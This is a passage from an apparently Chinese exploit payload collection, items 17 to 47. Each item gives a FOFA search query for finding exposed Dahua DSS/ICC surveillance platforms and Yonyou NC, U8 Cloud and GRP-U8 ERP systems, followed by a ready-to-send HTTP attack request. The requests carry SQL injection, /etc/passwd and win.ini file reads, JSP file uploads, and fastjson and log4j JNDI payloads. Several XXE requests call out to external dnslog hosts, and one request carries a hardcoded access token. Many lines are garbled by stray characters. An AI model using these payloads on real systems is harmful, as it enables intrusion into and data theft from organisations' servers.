User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
$ ^8 d, Z% B$ t% c0 P' R! ^Accept-Language: en
4 z4 O# w+ V! ]. ^$ n+ f' BAccept-Encoding: gzip
8 A2 S/ s* B0 r, ?5 u
$ b) `* h$ D/ Z9 u8 h& f+ w
17. 大华 DSS itcBulletin SQL 注入
$ l3 u0 r; H% ~1 i) u6 b/ `! }* X4 OFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
) s; C. c4 ~( I9 d+ ?/ `. u9 Q6 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" \- z9 K0 {' t! e  {# {+ YConnection: close
Content-Length: 345
Accept-Encoding: gzip
7 q" _) V. M/ W' E4 O9 D' @0 K* {
" X6 a5 U8 [: }* p* Z$ m! ^- j; |<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
& m& C/ j; I0 o& z$ x<s11:Body>
, p" |. c. K1 A    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
! Q( k1 v* I) o6 l  ^! V       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
; ~& i; C9 S* b      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
- K8 M  ~% M3 p2 i2 t- J</s11:Envelope>
7 I0 r3 e1 x. a9 f; ^
# `* b0 B- U4 q' D% W
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
2 x- O6 I) \& n5 G4 ZFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
5 G3 E3 u, r. Q$ S0 SHost: your-ip
& x. V' f/ c( sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! D3 J" d$ u! g/ @Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


6 r- C0 d& c9 U. v8 V* O/ L
( s& H! ]% v" H! ~& `/ N19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
7 P* G2 L' T( {GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
# U: ^; l( _# [Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
" Q! K  B$ H4 h& @- h1 S8 T" c: @Connection: keep-alive

  B+ I" [! g0 p6 U" K5 [
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
9 H7 w5 d1 v  IGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
9 D- M" Q: t# Q8 L& V# XUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
' X& H* o! W4 ~( P& Z7 ZAccept-Language: en
# `7 f( G+ @1 U! G9 r9 FAccept-Encoding: gzip
; r0 ]; q2 F% d
$ M. i$ m8 I! k, f* F
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
/ w9 g6 }. P0 S: \6 X7 i% qAccept-Encoding: gzip
7 Q' m: B: B# a. t9 \, [/ C# GConnection: close
Content-Type: application/json;charset=utf-8
+ o$ {, ~/ m6 b: d' M! d$ Q9 f
0 v  Y# k/ a4 C% h% I{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
+ [4 ^. Q9 C; D& Z    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
8 o: W2 K  E. a% T( ?}
# H. H+ Y# F' T# c

% [. ^5 T3 y' D: O, l% g. c22. 大华ICC智能物联综合管理平台 log4j远程代码执行
2 ~$ F5 h; d- Y3 r. e1 |FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
. H0 `9 y# W# v2 l+ u$ QHost: your-ip
) O  c8 {7 t! P* U0 \8 e( EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
"loginName":"${jndi:ldap://dnslog}"
* F9 ^) h+ ~6 I% l5 Z}
6 d6 U' z: L- w8 n" R3 y
: Q  L/ v0 U' x
* E0 s9 O0 i0 m
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
- J) b6 l$ S6 w4 R4 iPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
8 I  H9 ~5 Y! J6 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
& W* o* }2 e3 F" Y* I$ j  G
{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
) c) @! a/ _5 M# ?% b

24. 用友NC 6.5 accept.jsp任意文件上传
4 f6 t: h" u# E, j; a1 L2 \/ z# aFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
7 o: I, l4 \0 r/ ]  C7 E4 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
7 J4 ^$ u/ W( m# B8 _7 K- @Accept: */*
Accept-Encoding: gzip
& [) v) R% F6 q" m; SContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
8 _9 ^/ W# [! _9 Y4 x" S
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

6 h0 r" I1 k, d, R* f7 {4 h4 x6 i<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
  b& A1 M6 b% m7 e! o: E) C/ F0 p  D-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

8 U8 u, m2 \2 u\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

" R, G& f  s0 G. C: W% ~
8 x( y7 [6 D6 T4 B8 [4 c25. 用友NC registerServlet JNDI 远程代码执行
' i  e/ o- t; ^) I# {0 GFOFA：app="用友-UFIDA-NC"
0 n+ j  [# W6 r1 H8 }1 W/ ]POST /portal/registerServlet HTTP/1.1
! M0 q/ @( ^0 t4 }* e8 n% |Host: your-ip
  m# k+ p, p& OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
0 r4 q# [5 B$ }8 D/ Y0 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
' d& R7 ^" I' B! T' Y- f
( u" i' @5 M0 k, itype=1&dsname=ldap://dnslog



26. 用友NC linkVoucher SQL注入
* E$ a( O) ]% @" }FOFA：app="用友-UFIDA-NC"
0 I( v# J/ j# H4 z3 P: Y& ^0 pGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: \% {0 n3 o5 X& _# u$ i% MContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
, h+ O$ h* P% y: @6 h+ _2 Z1 IAccept: */*
Connection: keep-alive
$ v. g: x/ \  \+ w( i4 y6 ~

3 f/ ~; A3 y% ^( h0 Y3 Z1 n27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
( B' L3 s" s. ^2 i' W" x" `) @Connection: close
9 q$ G6 n- D* M4 }$ |2 uContent-Type: text/xml; charset=utf-8
3 K/ q7 b" d7 e2 H  |9 R

28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
8 k, z/ c  N5 F9 h3 U2 A5 z4 t5 VPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
$ U  ~& m6 U, P- \Connection: close
Content-Length: 268
& W( Z+ t( r# U9 F7 CContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
0 ~% Z! Z' Q4 EContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
6 {, E  c% \; c- ^Content-Type: application/octet-stream

) {+ H8 f7 A5 c6 i. h/ i5 a<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
! a1 f8 ^/ }* Q' }3 d------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
3 @) o# z: s! B& v5 G7 o) }. Q; ]
$ D/ O1 X8 O9 a0 h8 @/ U0 c& `
/uapim/static/pages/nc/head.jsp
7 W" T7 `: S; y3 D: x
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
! B$ d& B& o* A0 K3 pGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& L$ @; w# u$ WContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
! p. c! @; M( `  j  V  c8 L

3 B" k  ?  l3 E" ^4 r, b: E7 p30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
: U- n- U# y0 P$ p9 P2 D: K3 o! I. RPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
4 y3 e2 j1 R) C$ oContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
# P' z; ~0 X3 VConnection: close
$ B" @: ]: ~9 a+ C0 C3 h
------WebKitFormBoundaryH970hbttBhoCyj9V
3 |$ b% k' u' [4 {+ o  Y1 uContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
7 j' X% V: k2 {8 Y1 H# N" jContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
: [1 S1 A/ K! @  P
. L% G/ H" n9 K1 n9 t7 D9 d, c" _8 f1 [
31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
8 Z# ?$ K& q1 a7 nGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
  k4 H! x& G. S% C8 MHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

* ?5 s2 \) n: Y6 V1 e
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
# U! n3 b% T/ ^- c: [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
" g0 L% V8 F  V* i+ N0 PConnection: keep-alive
3 l, E1 N( I+ x! q
7 [1 t' e6 Q& q, P# ]+ f( u# Q
! p( @" Y7 y* C# S6 Z- X1 _" I33. 用友NC downTax/download SQL注入
* j' u, l1 B" i1 Cversion：NC6.5FOFA：app="用友-UFIDA-NC"
5 q% \  M7 O9 W9 h* [" PGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
' k$ A! b; n8 G) z4 L8 hAccept: */*
& z" p% ^& K" L* ]/ ^. k* LConnection: keep-alive
, B. B1 n  o. `7 ~# N, I, N
0 D5 a7 K% c% e) W
34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 v; T! K% N4 C0 v; qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
6 i+ \" E. D* D2 Z2 {' I9 |* ?. qConnection: keep-alive
' b  U7 D2 T; A' z+ }# L
& c! L* |8 \7 Y+ v
35. 用友NC-Cloud importhttpscer任意文件上传
! }1 q( C- x/ j' \FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
3 W" h4 L: N6 R% D. o) AAccept-Encoding: gzip, deflate
Accept: */*
! @# y4 n) n/ v/ u9 _; l: E' UConnection: close
$ I8 J  G5 |( f' I) f2 O# @accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

1 l' b8 G5 g0 [* S' v<%out.println(1111*1111);%>
+ f4 U8 t  x: W--fd28cb44e829ed1c197ec3bc71748df0--
# L! ^  v5 P0 D$ w! B' I7 z

" T  \& _# v; D6 G0 ^! {% V36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
9 c" y# G+ _# T5 H3 \& @POST /uapws/soapFormat.ajax HTTP/1.1
- a( t- W+ \! l. S( WHost: 192.168.40.130:8989
$ S2 ], U. t4 A5 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 D" F  Z2 A; R3 @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* @3 W7 w/ d' g& \8 S% GConnection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
# A& h0 D/ s% g" ~( y- p
9 {' U! r5 A, h: M& Umsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
0 Q* f7 r5 @' i7 i- }
( f+ q- ^7 Y3 }8 H% I! ?
37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
% N/ j7 Z; c7 H1 HPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
4 _; `% @+ ?3 @+ b* X7 Q5 ^6 qHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
# u. [4 G& d; b' |9 ]" d7 k/ ]0 KContent-Length: 421
7 c% |8 w4 f% U! G/ Q1 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
0 f5 I. l! M" u% }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
& w+ E! {) z0 @4 d6 P: ySOAPAction: urn:getResult
3 ]+ S( D  H- d. N* M( tUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
2 C  [+ E9 _) ~! Z<soapenv:Body>
2 ~0 f4 b( H5 a) U! ~2 Q<iup:getResult>
0 _, u. H/ M+ X<!--type: string-->
; Q5 @8 w7 ?; K9 c<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
1 W' k7 G4 p0 n3 u% u* K0 p</soapenv:Envelope>
! y; v% Q  G3 A
- g# Z+ ^5 u' [/ \2 s4 p2 o7 G& Z

2 T( E; T1 z% |1 v2 B% _38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
8 ]0 e/ K" L3 _- J8 N' k4 xHost: 192.168.40.131:8088
/ ]( Q, w7 ~5 E) _: R' CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
- F7 b" {+ p$ K$ s3 eContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
4 D. Z6 H( i: X: p) I& lAccept-Encoding: gzip, deflate
& p* C  f8 S% i6 p! {( t3 oAccept-Language: zh-CN,zh;q=0.9
/ v# U" S4 U  B- ~Connection: close
Content-Type: application/x-www-form-urlencoded
# C* T3 ]3 G6 {6 `7 n4 G
" [  o/ x' h4 [: q% z5 n__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

7 _# u7 Y5 E8 M; `- Q$ ?
39. 用友U8 Cloud RegisterServlet SQL注入
5 Q! Z2 M. ?. A  O& y9 yFOFA：title="u8c"
/ Y, k& W% h% s* Z5 J/ f# D8 B% QPOST /servlet/RegisterServlet HTTP/1.1
4 Q: D& L' q# }8 g# h4 |: A. pHost: 192.168.86.128:8089
( u8 W$ f6 G0 S9 P+ I* {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
1 ^' I4 X8 r2 u* K7 e+ XConnection: close
Content-Length: 85
, J% s/ g& {* a( s, H: MAccept: */*
- @7 U1 I6 S7 Q. r* MAccept-Language: en
Content-Type: application/x-www-form-urlencoded
; Z3 a# V5 |/ S/ eX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
' u! p, n0 b0 i! z9 I: u

7 b5 z- p( X: }0 Z, L40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
: U0 @" r; g7 R+ w# q) r4 aPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
. q5 Y, o! [3 c+ ?; G+ [* p, cUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
" Q2 a0 ?7 Y3 r2 M* UConnection: close
; P0 ~+ C0 d6 B5 B. }6 e' [
; {/ |! ^7 H9 _) B; e<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
0 z0 w' R' u4 N2 Y+ L. e0 d
' H: }1 I1 W. H' J+ ^$ }
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
' }! }, V5 M4 q  X7 m7 f! [- iFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
% ]# D' M! o$ a7 c* g; ~Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" _' [. s0 ]3 D  N. |" gContent-Type: application/json
Accept-Encoding: gzip
Connection: close
& a: Q% _! C9 v2 g: y; ^. g
* R8 q+ g* K/ S$ i8 I
42. 用友GRP-U8 SmartUpload01 文件上传
: D9 r# G& v& G2 O$ rFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
1 r  g* s# ]- w8 d9 @Host: x.x.x.x
1 \/ o: y- [* Q; U$ q1 bContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
2 s9 S; X  u; [! p7 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
4 O( V. _) ]0 h
9 Z) V2 {' o% R7 W+ r- `PAYLOAD
# p, x3 q' |, w8 \. N; v+ A& v
( y' o1 D' F% C: ^8 G$ |) Z
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
: ^  ]* V$ q; P2 j. |& p$ `FOFA：app="用友-GRP-U8"
) K6 Q; S2 {' q! F4 z. ~$ GPOST /services/userInfoWeb HTTP/1.1
# y: y! Y* Q+ v0 p, @$ q& I: tHost: your-ip
/ B; z) z! D9 `, a9 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) T% I; m+ d9 g- I! t3 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ f8 C! o/ @2 K& z% _Accept-Encoding: gzip, deflate
) T- p8 R% c- N  R/ SAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
* z, g; r3 T1 h2 S4 ~
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
# S0 Q) u8 D1 j# Q2 p. d4 r( w   <soapenv:Header/>
" v4 E: V6 r5 b  [; F   <soapenv:Body>
% P# |7 b( M2 L* F" g" t      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
: H9 ^) R- _* F# \" s& U+ G) D         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
* s$ r1 u) J( |. j7 a4 t      </ser:getUserNameById>
   </soapenv:Body>
( Z; e4 X7 q6 v1 H2 ?& z</soapenv:Envelope>
: M7 ]7 f% U& d* O5 U5 X' R

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
$ w* N6 f% z$ Y# N  cFOFA:app="用友-GRP-U8"
) V3 X( {- @* q; wGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
- ^  N$ Y& e4 Y! C* {/ o3 r, uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 y5 T. `7 A; i. m! BAccept-Encoding: gzip, deflate
3 z/ \7 ^3 e  AAccept-Language: zh-CN,zh;q=0.9
$ S5 O% n7 U2 Q' bConnection: close


4 Q! H& @4 |& I' z% ?& T45. 用友GRP-U8 ufgovbank XXE
( `5 ~' A  N) d" XFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
# |9 g$ x  x% P  }Connection: close
Content-Length: 161
' w" g& ~0 H3 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  b/ W; [* k) rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
5 G8 r8 H6 H8 ^( h
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
6 z# w) m( B3 L+ o

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
$ K8 |6 k( A5 d% m3 Y6 D% N8 mHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% e! ~( F2 q5 T9 C9 S. O. P& V3 o7 eAccept-Language: zh-CN,zh;q=0.9
Connection: close

- s* w& d# v+ N0 Z% F" u
& r5 s" z8 I$ l" C47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
3 V4 `1 O9 C9 i1 pGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
) y: v6 P7 |; l! p1 f4 WCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* p! q9 v+ ]" M" J! i; zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
